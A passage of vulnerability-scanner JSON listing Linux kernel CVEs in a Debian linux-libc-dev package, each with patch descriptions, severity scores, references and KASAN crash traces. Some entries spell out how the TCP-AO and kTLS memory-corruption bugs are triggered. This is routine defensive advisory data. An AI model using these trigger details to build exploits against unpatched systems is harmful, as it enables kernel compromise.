"pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80848", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0dc512ae71661e2afc927829ee50bc776fd8c970754087132e5e1b78cdef6d03", "Title": "kernel: xfrm: espintcp: fix UAF during close", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: espintcp: fix UAF during close\n\nZDI reported and analyzed a race condition during close for espintcp\nsockets:\n\n espintcp_close() frees emsg-\u003eskb via kfree_skb() without holding\n any socket lock. Concurrently, the xfrm_trans_reinject work queue\n invokes esp_output_tcp_finish() -\u003e espintcp_push_skb() -\u003e\n espintcp_push_msgs() -\u003e skb_send_sock_locked(), which reads the\n same skb as a data source.\n\nFix this by adding a synchronize_rcu() call after resetting sk_prot,\nsince esp_output_tcp_finish() runs under RCU and won't use a socket\nwith sk_prot == \u0026tcp_prot. Simply taking the socket lock in\nespintcp_close() could lead to leaks, if esp_output_tcp_finish()\nre-adds an skb in the slot we just freed. After this, the existing\nbarrier() is no longer needed.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80848", "https://git.kernel.org/linus/deb232e884877bf10b4ce2580909eedec986c284%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80848.mbox", "https://git.kernel.org/stable/c/24efebecf415ba264adba0f0491cec436463a14f", "https://git.kernel.org/stable/c/29121c5e6591da527e8e36ddac7120dc527f574d", "https://git.kernel.org/stable/c/4b31a875693c480c611519faca46216514e3e052", "https://git.kernel.org/stable/c/4bc0dfa28dca6fc0084203732695968049c44072", "https://git.kernel.org/stable/c/54b41ad14da9a981131ab6e4d3f79321a503ea5d", "https://git.kernel.org/stable/c/deb232e884877bf10b4ce2580909eedec986c284", "https://git.kernel.org/stable/c/eb3bbf29c723fe75c0eb92be14f0ec92971fe272", "https://git.kernel.org/stable/c/ed5d9102190c45fc70121c036b0626b740040b75", "https://git.kernel.org/stable/c/ff8dd7a932f34409a56e1b91a1219340f17457e9", "https://nvd.nist.gov/vuln/detail/CVE-2026-80848", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80848" ], "PublishedDate": "2026-09-04T16:18:13.54Z", "LastModifiedDate": "2026-10-19T09:17:20.307Z" }, { "VulnerabilityID": "CVE-2026-80849", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80849", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d729aa273c5c6a1883ad5311ed9c09e2ef1aab62c02f8e79f22c05b7ccba6f4e", "Title": "kernel: net/tcp-ao: fix use-after-free of current_key on reconnect to another peer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/tcp-ao: fix use-after-free of current_key on reconnect to another peer\n\ntcp_inbound_ao_hash() is called before bh_lock_sock_nested() is taken,\nwith only rcu_read_lock() held. On the fast path for established\nsockets, if the rnext_keyid sent by the peer differs from\ncurrent_key-\u003esndid, the key the peer asked for is looked up and stored\nin current_key. The lookup is inside the RCU read side, but current_key\noutlives it.\n\nWhen the socket is disconnected and connect() is called again for\nanother peer, tcp_ao_connect_init() unlinks every key that does not\nmatch the new peer and frees it with call_rcu(). If current_key points\nat such a key, it is cleared to NULL.\n\nThe fast path reads sk_state only once on entry, so a softirq that got\ninto it while the socket was still established can update current_key\nafter that loop has already run. The update is inside the RCU read side,\nso it comes before the call_rcu() callback, and once the callback frees\nthe key, current_key is left pointing at freed memory.\n\nThe next transmission picks that pointer up in tcp_get_current_key().\ntcp_ao_transmit_skb() then reads the traffic key from the freed object,\nwhich is the use-after-free.\n\nWait for one grace period before unlinking, and only if a key is going\nto be removed. By the time tcp_connect() runs the socket is already in\nTCP_SYN_SENT, and TCP_AO_ESTABLISHED does not contain TCPF_SYN_SENT, so\na softirq entering after the wait cannot reach the fast path, and the\nones already in it have finished. The existing NULL handling in the loop\nis then enough.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80849", "https://git.kernel.org/linus/da4471557f279d0f56605158a625bb6e49ef7d41%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80849.mbox", "https://git.kernel.org/stable/c/2857dcbd03cf3354af0fba1b65c6a260fb43811a", "https://git.kernel.org/stable/c/73fde8fe4469f4ed8f0afcc0b9d6413002a9e6b3", "https://git.kernel.org/stable/c/84a93b4e012587d0a4a84ffb23ec6da18e9d85f9", "https://git.kernel.org/stable/c/da4471557f279d0f56605158a625bb6e49ef7d41", "https://git.kernel.org/stable/c/e54ad693eddb40c595add013f545354c538e325b", "https://nvd.nist.gov/vuln/detail/CVE-2026-80849", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80849" ], "PublishedDate": "2026-09-04T16:18:13.683Z", "LastModifiedDate": "2026-10-19T09:17:20.44Z" }, { "VulnerabilityID": "CVE-2026-80850", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80850", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f578d604394351e87627620cdd508f34d62d60b4cefcf89104e61ddcbdece304", "Title": "kernel: tcp: fix AO info use-after-free in tcp_ao_connect_init()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: fix AO info use-after-free in tcp_ao_connect_init()\n\ntcp_v4_connect() adds a SYN-SENT socket to the ehash before calling\ntcp_connect(). If TCP-AO is configured, tcp_connect() first verifies that\na key matches the peer and the bound device's current L3 master.\ntcp_ao_connect_init() later resolves the L3 master again and removes keys\nwhich do not match it.\n\nThe socket lock does not stabilize the bound device's VRF membership.\nDetaching the device from its VRF between the initial validation and the\nL3-master calculation in tcp_ao_connect_init() can therefore make the\nvalidation succeed while initialization observes the default L3 domain and\nremoves the only key. The subsequent AO lookup then fails, so the no-key\npath clears tp-\u003eao_info and frees it directly.\n\nThe receive path can find the socket in the ehash and load tp-\u003eao_info\nunder RCU before acquiring the socket lock. A reader which loaded the old\npointer can thus continue into tcp_inbound_ao_hash() after the direct free.\n\nThe issue was found during a static audit of TCP-AO object lifetime. An\nunprivileged reproducer in self-created user and network namespaces raced\nconnect() with detaching a veth from its VRF while sending TCP-AO segments.\nIt triggered the same KASAN report on two fresh boots:\n\n BUG: KASAN: slab-use-after-free in tcp_inbound_ao_hash+0x585/0x19f0\n Write of size 8 at addr ffff88800bf88128 by task tcp_ao_vrf_race/232\n\n Call Trace:\n tcp_inbound_ao_hash+0x585/0x19f0\n tcp_inbound_hash+0x677/0xa80\n tcp_v4_rcv+0x1c3e/0x3ab0\n\n Allocated by task 235:\n tcp_ao_alloc_info+0x43/0xf0\n tcp_ao_add_cmd+0xdf7/0x13b0\n do_tcp_setsockopt+0x168c/0x2640\n\n Freed by task 235:\n kfree+0x1b8/0x550\n tcp_connect+0x252/0x4f00\n tcp_v4_connect+0x1114/0x1720\n\nThe bad address is 40 bytes inside the freed 128-byte object, matching the\ntcp_ao_info counters.key_not_found field. The two runs used 1000 attempts\neach, reached the no-key path 366 and 411 times, and produced one and two\nKASAN reports respectively. With this change, the same reproducer reached\nthe no-key path 366 times in 1000 attempts without a KASAN report or oops.\n\nUse tcp_ao_destroy_sock() for the no-key path. It unpublishes the AO info,\nupdates the socket memory and static-key accounting, and defers the free\nuntil after an RCU grace period.\n\nAlso drop the WARN_ON_ONCE() and its stale comment. The VRF detach race\nmakes the no-key state reachable during normal operation, so it is a\nhandled condition rather than an impossible assertion. On panic_on_warn\nkernels the WARN would turn this handled race into a kernel panic.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80850", "https://git.kernel.org/linus/ea30dc5267e367b8a5e1e06cc074f813bcbf18b2%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80850.mbox", "https://git.kernel.org/stable/c/284d7fd0eec8774bd6214921fbf525cf907c590e", "https://git.kernel.org/stable/c/594ba77210a1f065832211851a2d7e14d11fcbdb", "https://git.kernel.org/stable/c/70051a57786d5b23f059fbaf5c8241eca14d42ed", "https://git.kernel.org/stable/c/d17e88b6b60ff4ef64e0dd1444f935cb13dee1cd", "https://git.kernel.org/stable/c/ea30dc5267e367b8a5e1e06cc074f813bcbf18b2", "https://nvd.nist.gov/vuln/detail/CVE-2026-80850", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80850" ], "PublishedDate": "2026-09-04T16:18:13.813Z", "LastModifiedDate": "2026-10-19T09:17:20.547Z" }, { "VulnerabilityID": "CVE-2026-80852", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80852", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4f9f6ad619c30e8b7c35bf706e1478195e47249aad925f2f58941c0eb1b7c308", "Title": "kernel: tls: device: fix out-of-bounds write in tls_append_frag()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntls: device: fix out-of-bounds write in tls_append_frag()\n\nFound with syzkaller and a local syzbot instance running on top of a\nnetdevsim TLS offload emulation; tls_device.c is otherwise only reachable\non a machine with a NIC that implements the offload.\n\ntls_push_data() only checks whether the open record still has room for\nanother frag at the bottom of its loop, and the MSG_MORE early break\nskips that check. The record survives to the next syscall with the frag\ncount it already had, and tls_append_frag() does not check either, so\nwith TLS_TX_ZEROCOPY_RO every splice(SPLICE_F_MORE) of a byte or two adds\na non-coalescing pipe page and num_frags walks off the end of\ntls_record_info.frags[MAX_SKB_FRAGS]. Once the record is pushed,\ntls_push_record() runs the same index over sg_tx_data[MAX_SKB_FRAGS] and\nthe sg_set_page() writes land on the destruct_work that follows it, which\nthe workqueue then calls.\n\nThe byte limit is fine because copy drops to 0 and the loop falls through\nto the same check; the frag count has no such feedback.\n\nPush the record rather than keep a full one open, which is what a plain\nTCP socket does - tcp_sendmsg_locked() uses tcp_mark_push() and\nnew_segment in both the copy and the MSG_SPLICE_PAGES paths, and tls_sw\nalready sets full_record when the sk_msg ring fills up, MSG_MORE or not.\n\n BUG: KASAN: slab-out-of-bounds in tls_append_frag ( net/tls/tls_device.c:269)\n Write of size 8 at addr ffff8881104d1530 by task tls_oob/450\n\n CPU: 2 UID: 0 PID: 450 Comm: tls_oob Not tainted 7.2.0-rc7+ #329 PREEMPT\n Call Trace:\n \u003cTASK\u003e\n dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)\n print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)\n kasan_report (mm/kasan/report.c:595)\n tls_append_frag (net/tls/tls_device.c:269)\n tls_push_data (net/tls/tls_device.c:518)\n tls_device_sendmsg (net/tls/tls_device.c:583)\n inet_sendmsg (net/ipv4/af_inet.c:865)\n sock_sendmsg (net/socket.c:775 net/socket.c:790 net/socket.c:813)\n splice_to_socket (fs/splice.c:884)\n do_splice (fs/splice.c:936 fs/splice.c:1349)\n __do_splice (fs/splice.c:1431)\n __x64_sys_splice (fs/splice.c:1634 fs/splice.c:1616)\n do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)\n entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)\n \u003c/TASK\u003e\n\nand, once the record is pushed:\n\n UBSAN: array-index-out-of-bounds in net/tls/tls_device.c:300:24\n index 18 is out of range for type 'skb_frag_t [17]'\n UBSAN: array-index-out-of-bounds in net/tls/tls_device.c:301:41\n index 18 is out of range for type 'scatterlist [17]'\n UBSAN: array-index-out-of-bounds in net/tls/tls_device.c:302:39\n index 18 is out of range for type 'scatterlist [17]'\n UBSAN: array-index-out-of-bounds in net/tls/tls_device.c:307:38\n index 26 is out of range for type 'scatterlist [17]'\n\n kernel tried to execute NX-protected page - exploit attempt? (uid: 0)\n BUG: unable to handle page fault for address: ffffea000411a680\n #PF: supervisor instruction fetch in kernel mode\n #PF: error_code(0x0011) - permissions violation\n Oops: Oops: 0011 [#1] SMP KASAN PTI\n Workqueue: ktls_device_destruct 0xffffea000411a680\n RIP: 0010:0xffffea000411a680\n Call Trace:\n \u003cTASK\u003e\n worker_thread (kernel/workqueue.c:3405 kernel/workqueue.c:3486)\n kthread (kernel/kthread.c:436)\n ret_from_fork (arch/x86/kernel/process.c:158)\n ret_from_fork_asm (arch/x86/entry/entry_64.S:245)\n \u003c/TASK\u003e", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80852", "https://git.kernel.org/linus/b17cf742eaad70ae29ac558cefb3aa9bbeea03d4%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80852.mbox", "https://git.kernel.org/stable/c/03ced5da6120965d80ed56dbb7d78fa5c9128906", "https://git.kernel.org/stable/c/1fc6eb0c756b8be693b72e9e636ae5e236dcb6ee", "https://git.kernel.org/stable/c/7e1208c135618358da5d7d6664874dc6e53c62fc", "https://git.kernel.org/stable/c/a832d7cb09da2a8e4e9734b4be14d3e76169d805", "https://git.kernel.org/stable/c/b17cf742eaad70ae29ac558cefb3aa9bbeea03d4", "https://git.kernel.org/stable/c/b7f10d4ff987bda038df90052cd4a1434a7412d4", "https://git.kernel.org/stable/c/bc09411a11b5a676c59ff8612c6873d014f6fb36", "https://git.kernel.org/stable/c/cd7e875b89597f3498917af764758391338d1802", "https://git.kernel.org/stable/c/fadbc1ed2a872a8649a44cf9e1cf9621fc58cd6e", "https://linux.oracle.com/cve/CVE-2026-80852.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80852", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80852" ], "PublishedDate": "2026-09-04T16:18:14.073Z", "LastModifiedDate": "2026-10-30T13:20:12.523Z" }, { "VulnerabilityID": "CVE-2026-80878", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80878", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:006078a6f4583d7b8a20b3d9a7d2eeaf34baa29d6bdecf3edd2c6c07823c838a", "Title": "kernel: afs: Fix leak of ungot volume", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nafs: Fix leak of ungot volume\n\nFix afs_lookup_volume_rcu() so that it doesn't leak a dying volume if\nafs_try_get_volume() fails.", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "photon": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80878", "https://git.kernel.org/linus/d672c276f685a540ed2b2a8bafaed4650a89022c%20%287.2-rc2%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80878.mbox", "https://git.kernel.org/stable/c/78e8ee25a5e8f2eb85bbabbeb15c8a2445b4a67f", "https://git.kernel.org/stable/c/7d10cfec6cbce7396ed5cf6abd8c34bae09c393b", "https://git.kernel.org/stable/c/9cabf1c86948793fbad09023bd2ec58c71b9c1d4", "https://git.kernel.org/stable/c/d672c276f685a540ed2b2a8bafaed4650a89022c", "https://linux.oracle.com/cve/CVE-2026-80878.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80878", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-80878" ], "PublishedDate": "2026-09-04T17:16:59.923Z", "LastModifiedDate": "2026-09-14T13:18:48.513Z" }, { "VulnerabilityID": "CVE-2026-80921", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80921", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5ecca9c1f7479ed523aed4aa07a0ba534c01330dabb7db20c0dfde510559ab80", "Title": "kernel: KVM: s390: vsie: zero stale crypto bits", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: s390: vsie: zero stale crypto bits\n\nWhen shadowing crypto access bits from a format0 apcb (crycb 0 or 1),\nthe bits 64..255 are unchanged from whatever is in the vsie page in the\ncrycb and thus in the apcb. This gives a nested guest potential access\nto a device no longer available. Zero out the remaining bits.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-80921", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/34d5b5b646c91cfb9338d7a12c955a70ffb8c66b%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80921.mbox", "https://git.kernel.org/stable/c/087c19cc60a8caa1a08e1e434c8be2caf6c27733", "https://git.kernel.org/stable/c/29b4f7bc2991313bd3e6f6fb8fdf1b173f086dd6", "https://git.kernel.org/stable/c/34d5b5b646c91cfb9338d7a12c955a70ffb8c66b", "https://git.kernel.org/stable/c/59d51550b5cb916bda037673a721a404b3b47a0d", "https://git.kernel.org/stable/c/7d23489f51109e3ebba5b5db8c5f0185af7b7fdf", "https://git.kernel.org/stable/c/935eeba276012916c76243e5cbb843efd8fdb75d", "https://git.kernel.org/stable/c/d110b3297f11ef227098b8a82ade2d5f123b7d2f", "https://git.kernel.org/stable/c/d4bcd2df6d0d2af916b4fe1a533958778ea7c45b", "https://git.kernel.org/stable/c/f6079dca67eccb5eabef9f72437948c66dc5131f", "https://linux.oracle.com/cve/CVE-2026-80921.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80921", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80921" ], "PublishedDate": "2026-09-09T17:17:47.24Z", "LastModifiedDate": "2026-10-19T09:17:22.95Z" }, { "VulnerabilityID": "CVE-2026-80951", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80951", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0867cae66864c4861f6c8029709d91023c65e41b6c8d69a08305f3d4ae16a06e", "Title": "kernel: i3c: master: svc: bound IBI payload to the requested max_payload_len", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ni3c: master: svc: bound IBI payload to the requested max_payload_len\n\nsvc_i3c_master_handle_ibi() reads the IBI payload from the RX FIFO into\nthe IBI slot. The loop is bounded by the hardware FIFO size\n(SVC_I3C_FIFO_SIZE), not by the slot size.\n\nslot-\u003edata points into the IBI pool, which i3c_generic_ibi_alloc_pool()\nsizes at max_payload_len per slot. svc_i3c_master_request_ibi() only\nrejects a max_payload_len larger than SVC_I3C_FIFO_SIZE, so a driver can\nrequest a smaller one. mctp-i3c requests 